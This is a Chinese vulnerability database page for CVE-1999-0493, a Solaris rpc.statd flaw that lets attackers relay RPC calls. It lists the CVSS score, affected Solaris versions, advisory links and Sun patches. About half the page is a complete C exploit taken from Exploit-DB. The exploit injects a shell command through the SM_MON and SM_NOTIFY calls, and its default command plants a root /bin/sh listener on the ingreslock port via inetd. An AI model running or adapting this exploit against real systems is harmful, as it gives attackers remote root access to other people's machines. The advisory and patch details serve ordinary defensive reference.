CVE-1999-0493
CVSS7.5
发布时间 :1999-06-07 00:00:00
修订时间 :2016-10-17 21:59:24
NMCOE    

[原文]rpc.statd allows remote attackers to forward RPC calls to the local operating system via the SM_MON and SM_NOTIFY commands, which in turn could be used to remotely exploit other bugs such as in automountd.


[CNNVD]Solaris rpc.statd rpc调用中继漏洞(CNNVD-199906-012)

        rpc.statd存在漏洞。远程攻击者通过SM_MON 和SM_NOTIFY命令转寄对本地操作系统的RPC调用,该漏洞可以转而被用作其他比如自动安装的漏洞的远程开发。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.5.1
cpe:/o:sun:solaris:2.6::x86
cpe:/o:sun:solaris:2.5::x86
cpe:/o:sun:solaris:2.4
cpe:/o:sun:solaris:2.4::x86
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:2.3
cpe:/o:sun:solaris:2.5.1::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0493
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0493
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199906-012
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=91547759121289&w=2
(UNKNOWN)  BUGTRAQ  19990103 SUN almost has a clue! (automountd)
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/186&type=0&nav=sec.sba
(UNKNOWN)  SUN  00186
http://www.cert.org/advisories/CA-99-05-statd-automountd.html
(VENDOR_ADVISORY)  CERT  CA-99-05
http://www.ciac.org/ciac/bulletins/j-045.shtml
(UNKNOWN)  CIAC  J-045
http://www.securityfocus.com/bid/450
(UNKNOWN)  BID  450

- 漏洞信息

Solaris rpc.statd rpc调用中继漏洞
高危 访问验证错误
1999-06-07 00:00:00 2005-05-02 00:00:00
远程  
        rpc.statd存在漏洞。远程攻击者通过SM_MON 和SM_NOTIFY命令转寄对本地操作系统的RPC调用,该漏洞可以转而被用作其他比如自动安装的漏洞的远程开发。

- 公告与补丁

        Patches are available to all Sun customers at
        http://sunsolve.sun.com
        Sun Solaris 2.3
        

  •         Sun 102932-05sparc
            

  •         

        Sun Solaris 2.4 _x86
        

  •         Sun 102770-07x86
            

  •         

        Sun Solaris 2.4
        

  •         Sun 102769-07sparc
            

  •         

        Sun Solaris 2.5 _x86
        

  •         Sun 103469-05x86
            

  •         

        Sun Solaris 2.5.1 _x86
        

  •         Sun 104167-04x86
            

  •         

        Sun Solaris 2.5.1
        

  •         Sun 104166-04sparc
            

  •         

        Sun Solaris 2.6
        

  •         Sun 106592-02sparc
            

  •         

        Sun Solaris 2.6 _x86
        

  •         Sun 106593-02x86
            

  •         

- 漏洞信息 (19327)

Sun Solaris <= 2.5.1 rpc.statd rpc Call Relaying Vulnerability (EDBID:19327)
solaris remote
1999-06-07 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/450/info

The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to.

/* 
   Developed by some guys who don't want to goto jail when WIPO passes. :) */

/* Bug fixed on Aug 16 16:28:30 GMT 1998. */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <rpcsvc/sm_inter.h>

void 
usage(char *s) 
{
  printf ("Cache name is the hostname of the remote system.\n");
  printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  printf ("Usage: %s hostname <cachename> <command>\n", s);
  exit (0);
}

int
main (int argc, char *argv[]) 
{
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct stat_chge ntf_arg;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd;
 
  char attack[1024];

  if (argc < 3)
    usage(argv[0]);

  if (argc==4)
  	sprintf(attack, ";%s", argv[3]);
  else
	sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
 
  memset(&monreq, 0, sizeof(monreq));

  monreq.mon_id.my_id.my_name = argv[2];		
  monreq.mon_id.my_id.my_prog = (unsigned long) 100099; 
  monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  monreq.mon_id.my_id.my_proc = (unsigned long) 1;	
  monreq.mon_id.mon_name = attack;	
  monreq.priv[0] = '/';		

  memset(&ntf_arg, 0, sizeof(ntf_arg));

  ntf_arg.mon_name = attack;			
  ntf_arg.state = 1;					

  if ((hp = gethostbyname (argv[1])) == NULL) 
  {
    printf ("Couldnt resolve %s!\n", argv[1]);
    exit (-1);
  }

  target.sin_family = AF_INET;
  target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  target.sin_port = 0;
  sd = RPC_ANYSOCK;

  tm.tv_sec = 10;
  tm.tv_usec = 0;

  if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    exit (-1);
  }

  stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
    (char *)&monres, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call"); 
  else 
    printf("stat_res = %d.\n", monres.res_stat);

  stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void,
    NULL, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");

  clnt_destroy(cl);
  exit (0);
}

		

- 漏洞信息

1003
Solaris rpc.statd RPC Call Relaying
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Uncoordinated Disclosure, Uncoordinated Disclosure, Discovered in the Wild

- 漏洞描述

- 时间线

1998-04-22 Unknow
1999-01-04 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站